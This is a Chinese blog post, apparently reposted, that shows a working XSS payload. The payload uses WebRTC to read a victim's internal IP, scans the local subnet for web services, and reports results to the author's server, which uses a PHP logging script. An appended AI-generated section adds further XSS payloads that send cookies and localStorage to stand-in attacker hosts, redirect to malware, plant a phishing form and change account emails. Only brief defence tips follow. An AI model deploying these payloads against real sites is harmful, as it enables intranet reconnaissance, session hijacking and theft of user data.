xss实现获取内网ip

本文介绍了一种使用WebRTC技术从浏览器获取内部网络IP地址的方法,并通过XSS漏洞将这些IP地址发送到指定服务器,适用于渗透测试场景。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前提得浏览器支持webRTC,测试的时候google浏览器测试成功,火狐浏览器不支持webRTC,

再在xss平台直接复制如下js代码:

 1 function form_ip(ip,port){ 
 2     var iframe = document.createElement("iframe");                //通过iframe将可访问的内网ip传给服务器。
 3     iframe.setAttribute("src","http://192.168.155.2/rev.php?ip=" + ip + "&port=" + port);//这里是服务器的ip
 4     iframe.setAttribute("style","display:none")
 5     var TagName = document.getElementsByTagName("body")[0];
 6     TagName.appendChild(iframe);
 7 }
 8 function getIPs(callback){
 9     var ip_dups = {};
10     var RTCPeerConnection = window.RTCPeerConnection
11         || window.mozRTCPeerConnection
12         || window.webkitRTCPeerConnection;
13     var mediaConstraints = {
14         optional: [{RtpDataChannels: true}]
15     };
16     var servers = undefined;
17     if(window.webkitRTCPeerConnection)
18         servers = {iceServers: []};
19     var pc = new RTCPeerConnection(servers, mediaConstraints);
20     pc.onicecandidate = function(ice){
21         if(ice.candidate){
22             var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
23             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
24             if(ip_dups[ip_addr] === undefined)
25                 callback(ip_addr);
26             ip_dups[ip_addr] = true;
27         }
28     };
29     pc.createDataChannel("");
30     pc.createOffer(function(result){
31         pc.setLocalDescription(result, function(){});
32 
33     }, function(){});
34 }//通过weprtc获取内网ip
35 getIPs(function(ip){ 
36     ip = ip.split(".");
37     ip.pop();
38     ip = ip.join(".");
39     for(var i = 1;i<=255;i++){
40         var script = document.createElement("script");
41         var ip_url = ip + "." + i + ":80";
42         script.setAttribute("src","http://" + ip_url);
43         script.setAttribute("onload","form_ip('" + ip + "." + i + "','80')");//通过遍历,如果内网的ip有80端口服务,执行form_ip函数
44         var TagName = document.getElementsByTagName("body")[0];
45         TagName.appendChild(script);
46     }
47 });
我们可以在有xss注入的地方插入:<script src="http://xss平台的地址"></script>
在谷歌浏览器看控制台信息,已经将内网ip发送给服务器了。

 


http://192.168.155.2这里是我服务器的ip.
服务器接受的代码是:
1 <?php
2 $ip=$_REQUEST['ip'];
3 $port=$_REQUEST['port'];
4 $myfile=fopen("ip.txt","a");
5 fwrite($myfile,$ip.':'.$port.'   ');
6 fclose($myfile);
7 ?>

下面是服务器接受到的ip:

 接下来就是可以内网渗透了。



转载于:https://www.cnblogs.com/afanti/p/8325226.html

### XSS攻击的扩展危害及可能的利用方式 XSS(跨站脚本攻击)不仅能够窃取用户的敏感信息,还可以通过多种手段扩大其危害范围和影响深度。以下是XSS攻击可能造成的扩展危害及其利用方式: #### 1. 窃取用户会话信息 攻击者可以通过注入恶意脚本获取用户的Cookie或其他认证令牌。例如,利用JavaScript代码创建一个不可见的`<img>`标签,并将用户的Cookie发送到攻击者的服务器[^5]。 ```javascript var img = document.createElement('img'); img.src = 'http://attack.com/?cookie=' + encodeURIComponent(document.cookie); img.style.display = 'none'; document.body.appendChild(img); ``` #### 2. 劫持用户会话 一旦攻击者获取了用户的Cookie,他们可以冒充合法用户进行操作,例如修改个人资料、转账或发布内容。这种行为不仅影响用户账户的安全性,还可能导致企业声誉受损。 #### 3. 恶意软件传播 攻击者可以通过XSS攻击嵌入恶意脚本,这些脚本可能会下载并执行恶意软件。例如,通过重定向用户到包含恶意软件的网站: ```javascript window.location.href = "http://malicious-site.com/malware.exe"; ``` 这种方式可以进一步扩大攻击的影响范围,甚至感染用户的设备。 #### 4. 数据泄露 存储型XSS攻击尤其危险,因为它不需要用户交互即可触发。攻击者可以在网站上永久植入恶意脚本,导致所有访问该页面的用户数据被泄露[^3]。例如,攻击者可以在论坛帖子中插入以下代码: ```javascript <script> fetch('http://attacker.com/steal', { method: 'POST', body: JSON.stringify({ data: localStorage }), headers: { 'Content-Type': 'application/json' } }); </script> ``` #### 5. 社交工程与钓鱼攻击 XSS攻击可以用于伪装成合法网站,欺骗用户输入敏感信息。例如,通过动态生成伪造的登录表单,诱导用户提交密码: ```html <form action="http://phishing-site.com" method="POST"> <input type="text" name="username" placeholder="Username"> <input type="password" name="password" placeholder="Password"> <button type="submit">Login</button> </form> ``` #### 6. 网站功能滥用 攻击者可以利用XSS攻击调用目标网站的功能接口,执行未经授权的操作。例如,通过伪造请求更改用户的电子邮件地址或启用双因素认证: ```javascript fetch('/api/update-email', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: 'attacker@example.com' }) }); ``` #### 7. 内部网络渗透 如果受害者在企业内部网络中工作,攻击者可以通过XSS攻击获取内网IP地址或其他敏感信息。例如,通过探测内部服务端口: ```javascript for (let i = 1; i <= 255; i++) { const xhr = new XMLHttpRequest(); xhr.open('GET', `http://192.168.1.${i}`, true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { fetch('http://attacker.com/report?ip=192.168.1.' + i); } }; xhr.send(); } ``` ### 防御策略 为了防止XSS攻击扩大其危害,可以采取以下措施: - 使用HTML转义函数对用户输入进行处理[^1]。 - 在SpringBoot应用中结合注解和过滤器实现全面的XSS防御[^2]。 - 禁止以`javascript:`开头的链接和其他非法scheme的使用[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值